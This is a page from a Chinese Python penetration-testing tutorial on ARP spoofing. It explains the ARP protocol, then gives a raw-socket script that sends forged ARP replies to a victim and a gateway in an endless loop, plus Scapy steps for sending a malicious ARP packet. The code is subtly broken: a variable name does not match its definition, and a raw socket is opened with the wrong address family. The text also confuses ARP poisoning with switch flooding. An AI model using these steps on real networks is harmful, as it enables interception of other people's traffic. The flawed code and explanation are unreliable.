- Python滲透測試教程
- Python滲透測試 - 首頁
- 簡介
- 評估方法
- 網路通訊入門
- 套接字及其方法
- Python網路掃描器
- 網路資料包嗅探
- ARP欺騙
- 無線網路滲透測試
- 應用層
- 客戶端驗證
- DoS & DDoS攻擊
- SQLi Web攻擊
- XSS Web攻擊
- 有用資源
- 快速指南
- 有用資源
- 討論
Python滲透測試 - ARP欺騙
ARP可以定義為一種無狀態協議,用於將網際網路協議(IP)地址對映到物理機器地址。
ARP的工作原理
在本節中,我們將瞭解ARP的工作原理。請考慮以下步驟以瞭解ARP的工作方式:
步驟1 - 首先,當一臺機器想要與另一臺機器通訊時,它必須在其ARP表中查詢物理地址。
步驟2 - 如果它找到機器的物理地址,則資料包在轉換為正確的長度後,將傳送到目標機器。
步驟3 - 但如果表中沒有找到IP地址的條目,則ARP_request將廣播到網路上。
步驟4 - 現在,網路上的所有機器都將比較廣播的IP地址與MAC地址,如果網路中的任何機器識別出該地址,它將響應ARP_request以及其IP和MAC地址。此類ARP訊息稱為ARP_reply。
步驟5 - 最後,傳送請求的機器將地址對儲存在其ARP表中,並且整個通訊將進行。
什麼是ARP欺騙?
它可以定義為一種攻擊型別,其中惡意攻擊者在本地網路上傳送偽造的ARP請求。ARP中毒也稱為ARP欺騙。可以透過以下幾點理解:
首先,ARP欺騙為了使交換機過載,將構造大量偽造的ARP請求和回覆資料包。
然後交換機將設定為轉發模式。
現在,ARP表將被欺騙的ARP響應淹沒,以便攻擊者可以嗅探所有網路資料包。
使用Python實現
在本節中,我們將瞭解ARP欺騙的Python實現。為此,我們需要三個MAC地址——第一個是受害者的,第二個是攻擊者的,第三個是閘道器的。除此之外,我們還需要使用ARP協議的程式碼。
讓我們匯入所需的模組,如下所示:
import socket import struct import binascii
現在,我們將建立一個套接字,它將具有三個引數。第一個引數告訴我們關於資料包介面的資訊(對於Linux來說是PF_PACKET,對於Windows來說是AF_INET),第二個引數告訴我們它是否是原始套接字,第三個引數告訴我們我們感興趣的協議(這裡0x0800用於IP協議)。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
我們現在將提供攻擊者、受害者和閘道器機器的MAC地址:
attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\x00\x0C\x29\x2E\x84\x5A' gatewaymac = '\x00\x50\x56\xC0\x00\x28'
我們需要提供ARP協議的程式碼,如下所示:
code ='\x08\x06'
兩個乙太網資料包,一個用於受害者機器,另一個用於閘道器機器,已如下構建:
ethernet1 = victimmac + attckmac + code ethernet2 = gatewaymac + attckmac + code
以下程式碼行按照ARP報文頭的順序排列:
htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02'
現在我們需要提供閘道器機器和受害者機器的IP地址(假設我們有以下閘道器和受害者機器的IP地址):
gateway_ip = '192.168.43.85' victim_ip = '192.168.43.131'
使用socket.inet_aton()方法將上述IP地址轉換為十六進位制格式。
gatewayip = socket.inet_aton ( gateway_ip ) victimip = socket.inet_aton ( victim_ip )
執行以下程式碼行以更改閘道器機器的IP地址。
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip while 1: s.send(victim_ARP) s.send(gateway_ARP)
在Kali Linux上使用Scapy實現
可以使用Kali Linux上的Scapy實現ARP欺騙。按照以下步驟執行相同的操作:
步驟1:攻擊者機器的地址
在此步驟中,我們將透過在Kali Linux的命令提示符下執行命令ifconfig來找到攻擊者機器的IP地址。
步驟2:目標機器的地址
在此步驟中,我們將透過在Kali Linux的命令提示符下執行命令ifconfig來找到目標機器的IP地址,我們需要在另一臺虛擬機器上開啟該命令提示符。
步驟3:Ping目標機器
在此步驟中,我們需要使用以下命令從攻擊者機器ping目標機器:
Ping –c 192.168.43.85(say IP address of target machine)
步驟4:目標機器上的ARP快取
我們已經知道兩臺機器使用ARP資料包交換MAC地址,因此在步驟3之後,我們可以在目標機器上執行以下命令以檢視ARP快取:
arp -n
步驟5:使用Scapy建立ARP資料包
我們可以使用Scapy建立ARP資料包,如下所示:
scapy arp_packt = ARP() arp_packt.display()
步驟6:使用Scapy傳送惡意ARP資料包
我們可以使用Scapy傳送惡意ARP資料包,如下所示:
arp_packt.pdst = “192.168.43.85”(say IP address of target machine) arp_packt.hwsrc = “11:11:11:11:11:11” arp_packt.psrc = ”1.1.1.1” arp_packt.hwdst = “ff:ff:ff:ff:ff:ff” send(arp_packt)
步驟7:再次檢查目標機器上的ARP快取
現在,如果我們再次檢查目標機器上的ARP快取,我們將看到偽造的地址“1.1.1.1”。